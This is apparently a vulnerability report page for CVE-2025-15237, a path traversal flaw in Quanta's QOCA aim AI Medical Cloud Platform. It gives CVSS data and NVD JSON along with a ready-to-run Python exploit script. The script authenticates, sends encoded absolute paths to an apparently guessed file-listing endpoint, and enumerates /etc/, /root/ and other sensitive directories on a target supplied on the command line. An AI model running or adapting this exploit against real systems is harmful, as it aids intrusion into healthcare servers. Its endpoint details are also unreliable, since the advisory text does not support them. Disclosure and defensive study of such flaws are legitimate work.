Security Vulnerability Report
中文
CVE-2025-15237 CVSS 4.3 MEDIUM

CVE-2025-15237

Published: 2026-01-05 08:15:58
Last Modified: 2026-01-20 21:14:55

Description

QOCA aim AI Medical Cloud Platform developed by Quanta Computer has a Path Traversal vulnerability, allowing authenticated remote attackers to read folder names under the specified path by exploiting an Absolute Path Traversal vulnerability.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:quantatw:qoca_aim:*:*:*:*:*:*:*:* - VULNERABLE
QOCA aim AI Medical Cloud Platform 未知版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-15237 PoC - QOCA aim AI Medical Cloud Platform Path Traversal # Description: Authenticated path traversal vulnerability allowing directory enumeration import requests import sys from urllib.parse import quote TARGET_URL = "https://target-server.com" # Replace with target URL LOGIN_URL = f"{TARGET_URL}/api/auth/login" PATH_TRAVERSAL_URL = f"{TARGET_URL}/api/file/list" def login(username, password): """Authenticate to the platform and get session cookie""" session = requests.Session() login_data = { "username": username, "password": password } try: response = session.post(LOGIN_URL, json=login_data, timeout=10) if response.status_code == 200: return session else: print(f"[-] Login failed: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return None def exploit_path_traversal(session, target_path): """Exploit path traversal to enumerate directory contents""" # Encode the target path to bypass basic filters encoded_path = quote(target_path) # Send request with path traversal payload params = { "path": encoded_path # Absolute path traversal payload } headers = { "X-Requested-With": "XMLHttpRequest", "Content-Type": "application/json" } try: response = session.get(PATH_TRAVERSAL_URL, params=params, headers=headers, timeout=10) if response.status_code == 200: return response.json() else: print(f"[-] Request failed: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return None def main(): if len(sys.argv) < 4: print("Usage: python cve-2025-15237.py <target_url> <username> <password>") print("Example: python cve-2025-15237.py https://vuln-site.com admin password123") sys.exit(1) target = sys.argv[1] username = sys.argv[2] password = sys.argv[3] print(f"[*] Targeting: {target}") print(f"[*] Authenticating as: {username}") # Step 1: Login to get authenticated session session = login(username, password) if not session: print("[-] Authentication failed") sys.exit(1) print("[+] Authentication successful") # Step 2: Enumerate sensitive directories target_paths = [ "/etc/", "/var/log/", "/home/", "/root/", "/opt/", "/usr/local/etc/" ] for path in target_paths: print(f"\n[*] Enumerating: {path}") result = exploit_path_traversal(session, path) if result: print(f"[+] Directory contents: {result}") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-15237", "sourceIdentifier": "[email protected]", "published": "2026-01-05T08:15:57.620", "lastModified": "2026-01-20T21:14:55.110", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "QOCA aim AI Medical Cloud Platform developed by Quanta Computer has a Path Traversal vulnerability, allowing authenticated remote attackers to read folder names under the specified path by exploiting an Absolute Path Traversal vulnerability."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-36"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:quantatw:qoca_aim:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.7.6", "matchCriteriaId": "4D325141-836B-4D68-87D4-9E4BD8F2A80F"}]}]}], "references": [{"url": "https://www.twcert.org.tw/en/cp-139-10616-cd942-2.html", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.twcert.org.tw/tw/cp-132-10615-157a3-1.html", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}